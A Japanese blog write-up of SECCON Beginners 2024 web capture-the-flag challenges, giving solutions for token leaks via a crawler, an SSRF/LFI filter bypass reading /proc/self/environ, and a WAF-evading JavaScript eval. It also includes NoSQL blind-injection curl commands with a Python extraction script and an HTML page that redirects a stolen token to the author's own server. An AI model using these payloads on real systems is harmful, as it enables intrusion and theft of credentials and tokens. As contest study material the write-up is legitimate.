SECCON Beginner Contest 2024 web writeup
参加してきました。大会概要
SECCON Beginner Contest 2019 ぶりの参加だったし、そもそも5年前もちょっと触ったことがある程度でした。知り合いのアスースン・オンラインに誘われたので、ちょっと触ってみるかくらいで参加しました。
web/wooorker(78点)
https://wooorker.beginners.seccon.games/report
の入力に、login?next={任意のアドレス}
を入力すると、クローラーからGET /?token={トークン}
みたいなリクエストされる。
5年前の反省を生かしてRequestBinを使おうとしたものの、うまくいかず、結局EC2でpythonのhttp.server
のサーバーを立てて、そこにリクエストをとばした。(これが後に功をなす)
https://wooorker.beginners.seccon.games/flag.html?token={トークン}
でフラグゲット
web/ssrforlfi(113点)
/?url=http://example.com/
のようなhttp://
のURLか、/?url=file://example.txt
のようなfile://
のURLを受け取ると、curlでその内容を取得し、それを返却するサイト。
ただし、例えばfile:///etc/passwd
を利用すると、/etc/passwd
と一致するファイルが存在する場合、Detected LFI ;(
というエラーが返ってくる。調べてみたところ、file://localhost/etc/passwd
で回避することができることがわかった。
あとは、環境変数にフラグが存在しているはずなので、チートシートを使いながら怪しそうなファイルを探し回ったところ、/?url=file://localhost/proc/self/environ
でヒットした。
web/double-leaks(130点)
POSTのusernameやpassword_hashの値にJSONを利用することが可能で、これを利用してmongoのoperationを利用することができる。ただし、password_hashの方はwafでin
、where
、regex
などの単語が利用不可になっている。
クエリで結果が返ってきた場合でも、operationを利用した場合は、{"message":"DO NOT CHEATING"}
とエラーが返されるので、直接クエリ結果を見ることができない。ただし、クエリで結果が返ってこない場合は{"message":"Invalid Credential"}
と返却されるため、クエリの結果を満たすドキュメントが存在するかは確認可能でした。
usernameはエスケープされないので、$regex
を利用してBlind Injectionが可能。
以下は、ユーザー名がabで開始している場合は{"message":"DO NOT CHEATING"}
、そうでない場合は、{"message":"Invalid Credential"}
と返却される。
curl -X POST 'http://https://double-leaks.beginners.seccon.games/login' -H 'Content-Type: application/json' --data-raw '{"username": {"$regex": "^ab" },"password_hash": {"$ne": "a" }}'
passwordはエスケープされるが、SHA256された値(16進数)を利用するため、$gte
を利用して辞書順で後にあるか前にあるかを判断可能。
以下は、password_hash
が辞書順で5
より後の場合は{"message":"DO NOT CHEATING"}
、そうでない場合は、{"message":"Invalid Credential"}
と返却される。
curl -X POST 'http://https://double-leaks.beginners.seccon.games/login' -H 'Content-Type: application/json' --data-raw '{"username": "username" ,"password_hash": {"$gte": "5" }}'
以上までまとめた内容をChatGPTに読み込ませたところ、プログラムを書いてくれたので(若干修正して)実行した。
import requests
import hashlib
# ターゲットURL
url = 'https://double-leaks.beginners.seccon.games/login'
# usernameを特定するための関数
def is_username_starts_with(prefix):
payload = {
"username": {"$regex": f"^{prefix}"},
"password_hash": {"$ne": "a"}
}
response = requests.post(url, json=payload)
return response.json().get("message") == "DO NOT CHEATING"
# password_hashを特定するための関数
def is_password_hash_greater_than(prefix, hash_str):
payload = {
"username": prefix,
"password_hash": {"$gte": hash_str}
}
response = requests.post(url, json=payload)
return response.json().get("message") == "DO NOT CHEATING"
# usernameの特定
def find_username():
charset = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ-0123456789'
username = 'ky'
while True:
for char in charset:
if is_username_starts_with(username + char):
username += char
print(f"Found so far: {username}")
break
else:
break
return username
# password_hashの特定
def find_password_hash(username):
password_hash = ''
charset = 'fedcba9876543210'
for _ in range(64): # SHA256は64文字
for char in charset:
if is_password_hash_greater_than(username, password_hash + char):
password_hash += char
print(f"Found so far: {password_hash}")
break
return password_hash
# 実行
username = find_username()
print(f"Username: {username}")
password_hash = find_password_hash(username)
print(f"Password hash: {password_hash}")
web/woooker2 (98点)
内容はほぼwoookerと同じだが、woooker2ではトークンがhttp://example.com/#token={トークン}
の形式で送られてくる。httpのリクエストURLにはハッシュ以降は含まれないため、woookerのようにリクエストを読むだけでは不十分。
クローラーが指定したページを読み込んだ時に実行されるjavascriptの中でlocation.hash
を利用する。woookerで立ち上げたサーバーが次を提供するようにする。
<!DOCTYPE html>
<html lang="ja">
<head>
<meta charset="UTF-8">
</head>
<body>
<script>
const hash = location.hash;
window.location.href = hash.slice(1)
</script>
</body>
</html>
すると、トークンをURLに含めた状態でリダイレクトされるので、トークンを取得できる。再びhttps://wooorker.beginners.seccon.games/flag.html?token={トークン}
でフラグゲット
感想
時間があまりなくてwebしか触れなかったが、思ったより解けたなって印象でした。久しぶりで超たのしかったのでまたやりたいです。
追記: web/flagAlias
勉強のため解きました。
deno(rust版のnodeクローン)のeval関数を使って、flag.ts
の中身を知るという問題。ただし、いくつかの単語がwafで利用不可になっている。
flag
を評価できれば、importされた値を見ることができるが、wafで防がれる。eval("f" + "lag")
はeval
が使用不可、Function("return f" + "lag")
はflag
が読み込めない。したがって、ファイルでimportされたflagを読み取ることはできない。
await eval(waf(alias))
となっていることを利用して、dynamic import してみたところ、うまくいった。Object.keys
は利用できないがObject === ({})["constructor"]
なので、回避可能。したがって、以下のように関数名を取得できる。
(async () => {return ({})["constructor"].keys(await import("./f" + "lag.ts"))})()
取得した関数を以下のように評価すると...
(async () => {return (await import("./f" + "lag.ts")).getRealFlag_yUC2BwCtXEkg()})()
fake{The flag is commented one line above here!}
と返ってくるので、
(async () => {return (await import("./f" + "lag.ts")).getRealFlag_yUC2BwCtXEkg.toString()})()
これでコメントを読んでフラグ取得
Discussion